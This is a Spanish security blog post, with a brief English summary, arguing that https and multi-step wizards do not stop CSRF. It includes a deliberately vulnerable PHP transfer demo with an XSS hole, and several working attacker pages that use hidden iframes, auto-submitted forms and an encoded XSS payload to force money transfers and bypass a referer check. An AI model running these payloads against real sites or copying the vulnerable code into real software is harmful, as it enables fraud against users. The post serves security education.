(partial english version below)
En [1] dije que no iba a explicar lo que era CSRF y me arrepiento, pues a raiz de los diálogos offline generados, he descubierto que el grado de incomprensión del ataque es mayor al que suponía. Pero es tan solo el resultado de la falta de conocimiento técnico general más que del ataque en si.
Es verdad que para la mayor parte de las actividades informáticas no hace falta un conocimiento profundo. No estoy diciendo que yo tenga un conocimiento profundo de nada, pero me asusta cuando entiendo mejor que quien supongo entiende mejor que yo.
Esto me da una tenue excusa para relatar una experiencia en el reciente Agile Open Software Libre [2]. En el marco de una sesión cuya convocatoria por parte de Ezequiel Maraschio era algo cercano a "Como se organiza cada uno en sus actividades personales", casi, si no totalmente offtopic, mencioné que me resultaba mucho más efectivo para comprender algo desconectarme de google y sólo utilizar man, manuales y libros. Comenté como esta manera la había descubierto estudiando threads en C para la facultad e intentaba usarla en toda ocasión.
Una persona, Victor creo recordar, dijo que ese modo era más lento y yo lleno de gozo le respondí que era exactamente el mismo argumento que se utiliza contra el testeo durante el desarrollo en general y TDD en particular.
Antes que nadie diga nada, convenimos en que para trouble shooting google si es útil y obviamente para encontrar los manuales.
A lo que voy es que para RAD el cortar y pegar código ajeno puede ser muy efectivo, pero luego el collage/palimpsesto traidor resultante se nos vuelve en contra y entramos en la carrera de babosas. Hay que comprender.
Volviendo a CSRF, que es de lo que veniamos hablando, he escuchado personas diciendo a) "este ataque no es posible si hay https" o b) "tenemos un wizard con un workflow en el cual controlamos que se hayan hecho los pasos anteriores".
Ya que no voy a explicar CSRF, al menos voy a desmitificar:
a) Si decimos que con CSRF "forzamos" al navegador del usuario a hacer llamadas a un servicio utilizando la sesión autenticada ya establecida, implica el canal seguro ya establecido, ¿no? Para chocar con la dura realidad, me he tomado el trabajo de probarlo y ha funcionado como seda.
Puedo afirmar tanto teórica como empíricamente que https no protege de CSRF.
b) Si miramos el flujo de parámetros del workflow y no hay un secretito, no hay clippo, ni perrito, ni mago barbudo que valga, el ataque es exitoso. Es verdad que es más complicado, según se ve en la POC wizard, más abajo.
De paso entrego el código que mezquinamente negué antes en [1].
Si
se consultara el referer, para estas POCs el ataque fallaría. Pero esto
es porque estamos viendo la vulnerabilidad de modo aislado, que es la
mejor manera de comprenderla. Si el sitio además tiene XSS [3][4],
depende de como se controle el referer, quizas tambien se pueda tener
éxito, como en POC XSS+CSRF vs Referer
Partial english version
During an Agile Open event[2], I said that using man, manuals and books is a better way to understand than googling. A guy told me that that path is slower and I answered that that is the same argument against testing and TDD. Nevertheless, google is the best trouble shooter.
Later, talking with some people about [1], I've found out that there are at least to myths:
a) "https protects against CSRF". Theory does not say so, and if you configure a https server and use any of the given examples, you will check by yourself what the truth is.
b) "We have a wizard that checks that you did all the steps". If you examine the workflow's parameters and you can not find any little dirty secret, CSRF wins.
Checking the referer is a mitigation against CSRF, but if the site happens to be vulnerable to XSS[3], [4], you are in the owen again.
POC Https csrfed
Acá no hay nada que POCear, sólo hay que configurar un servidor con https y ajustar cualquiera de los ejemplos.
Sitio vulnerable
[../good/login.php]
<?php
session_start();
if (isset($_SESSION['auth']) || isset($_REQUEST['clave']) && $_REQUEST['clave'] == "1234") {
$_SESSION['auth'] = 1;
if (isset($_GET['paso']) ) {
# XSS entry point
$paso = $_GET['paso'];
} else {
$paso = 0;
}
?>
<h3>Transferencia sin control de referer</h3>
<form method="post" action="transferencia.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="<?php print $paso; ?>"</input>
</form>
<br/>
<h3>Transferencia con control de referer</h3>
<form method="post" action="transferencia_referer.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="<?php print $paso; ?>"</input>
</form>
<br/>
<h3>Transferencia con wizard</h3>
<form method="post" action="transferencia_confirmacion.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input name="detalle" value="legitimo"/><br/>
<input type="submit" value="transferir"</input>
<input name="paso" type="hidden" value="1"</input>
</form>
<?php
} else {
?>
<form method="post">
<input name="clave">clave</input>
<input type="submit" value="entrar sistema"</input>
</form>
<?php
}
if (isset($_REQUEST['clave']) && $_REQUEST['clave'] != "1234") {
print("mal clave");
}
[../good/transferencia_confirmacion.php]
<?php
session_start();
if (isset($_SESSION['auth'])) {
print "autenticado<br>";
if (isset($_POST['paso'])) {
if ($_POST['paso']==1) {
print "usted pretende transferir de ".$_POST['origen']." a ".$_POST['destino'];
print " $". $_POST['valor']. "<br/>";
?>
<form method="POST">
<input name="origen" type="hidden" value="<?php print $_POST['origen']; ?>"/><br/>
<input name="destino" type="hidden" value="<?php print $_POST['destino']; ?>"/><br/>
<input name="valor" type="hidden" value="<?php print $_POST['valor']; ?>"/><br/>
<input name="detalle" type="hidden" value="<?php print $_POST['detalle']; ?>"/><br/>
<input type="submit" value="confirmar"</input>
<input name="paso" type="hidden" value="2"</input>
</form>
<?php
} else if ($_POST['paso']==2) {
print "transferencia de " . $_POST['origen'] . " a " . $_POST['destino'];
print " $". $_POST['valor']. "<br/>";
} else {
print "Error de protocolo 2";
}
} else {
print "Error de protocolo 1";
}
} else {
print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];
[../good/transferencia.php]
<?php
session_start();
if (isset($_SESSION['auth'])) {
print "autenticado<br>";
if (isset($_POST['origen'])) {
print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'];
print " $". $_POST['valor']. "<br/>";
print "canal via post: " . $_POST['detalle'];
} else {
print "transfiriendo de " . $_GET['origen'] . " a " . $_GET['destino'];
print " $". $_GET['valor']. "<br/>";
print "canal via get: " . $_GET['detalle'];
}
} else {
print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];
[../good/transferencia_referer.php]
<?php
session_start();
if (isset($_SESSION['auth'])) {
print "autenticado<br/>";
if (isset($_SERVER['HTTP_REFERER'])
&& strstr($_SERVER['HTTP_REFERER'],"http://csrf.good.com:60001/login.php" ) ) {
print "referido<br/>";
if (isset($_POST['origen'])) {
print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'];
print " $". $_POST['valor']. "<br/>";
print "canal via post: " . $_POST['detalle'];
} else {
print "transfiriendo de " . $_GET['origen'] . " a " . $_GET['destino'];
print " $". $_GET['valor']. "<br/>";
print "canal via get: " . $_GET['detalle'];
}
} else {
print "tomatelas, mal referer";
}
} else {
print "tomatelas, no autenticado";
}
print "<br/> <br/>COOKIE['PHPSESSID']: " . $_COOKIE['PHPSESSID'];
print "<br/> REFERER: " . $_SERVER['HTTP_REFERER'];
POC indiscreto
[linda_mascota_01_indiscreta.html]
<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe height="0" width="0" src="http://csrf.good.com:60001/transferencia.php?origen=cuenta_cliente&destino=cuenta_desconocida&va
lor=1000pe&detalle=GET"
</iframe>
<iframe name=ifr width="0" height="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>
POC discreto
[linda_mascota_02_discreta.html]
<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>
POC Referer failure
[linda_mascota_03_fail_referer.html]
<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://csrf.good.com:60001/transferencia_referer.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>
POC XSS+CSRF vs Referer
[linda_mascota_04_xss_referer.html]
<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr height="0" width="0" src="http://csrf.good.com:60001/login.php?paso=1%22%3E%3C/input%3E%3C/form%3E%3Cscript%3Edocument.write%28%27%3Cdiv+style%3D%22display%3Anone%22%3E%3Cform+target%3Difr+id%3Dcsrf+method%3Dpost+action%3D%22http%3A//csrf.good.com%3A60001/transferencia_referer.php%22%3E%3Cinput+name%3D%22origen%22+value%3D%22cuenta_cliente%22+/%3E%3Cinput+name%3D%22destino%22+value%3D%22cuenta_destino%22+/%3E%3Cinput+name%3D%22valor%22+value%3D%2250pe%22+/%3E%3Cinput+name%3D%22detalle%22+value%3D%22POST+invisible%22+/%3E%3C/form%3E%3C/div%3E%27%29%3Bdocument.getElementById%28%22csrf%22%29.submit%28%29%3B%3C/script%3E%3Cinput+type%3D%22hidden%22%3E"></iframe>
</body>
</html>
POC Wizard
[linda_mascota_05_pasos.html]
<html>
<head><title>Mascota inofensiva en evil.com</title></head>
<body>
<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />
<iframe name=ifr_1 height="0" width="0"></iframe>
<iframe name=ifr_2 height="0" width="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr_1 id=csrf_1 method=post action="http://csrf.good.com:60001/transferencia_confirmacion.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="paso" value="1" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>');
document.write(
'<div style="display:none">' +
'<form target=ifr_2 id=csrf_2 method=post action="http://csrf.good.com:60001/transferencia_confirmacion.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'<input name="paso" value="2" />' +
'<input name="detalle" value="POST invisible" />' +
'</form>'+
'</div>');
document.getElementById("csrf_1").submit()
console.log("primer paso");
setTimeout( function() {
document.getElementById("csrf_2").submit();
console.log("segundo paso");
}, 10000);
</script>
que te diviertas!!!!
[1] http://seguridad-agile.blogspot.com.ar/2012/06/client-side-csrf-protection.html
[2] https://sites.google.com/site/comunidadagiles/agile-open-tour/agile-open-bs-as-software-libre-2012
[3] https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
[4] http://en.wikipedia.org/wiki/Cross-site_scripting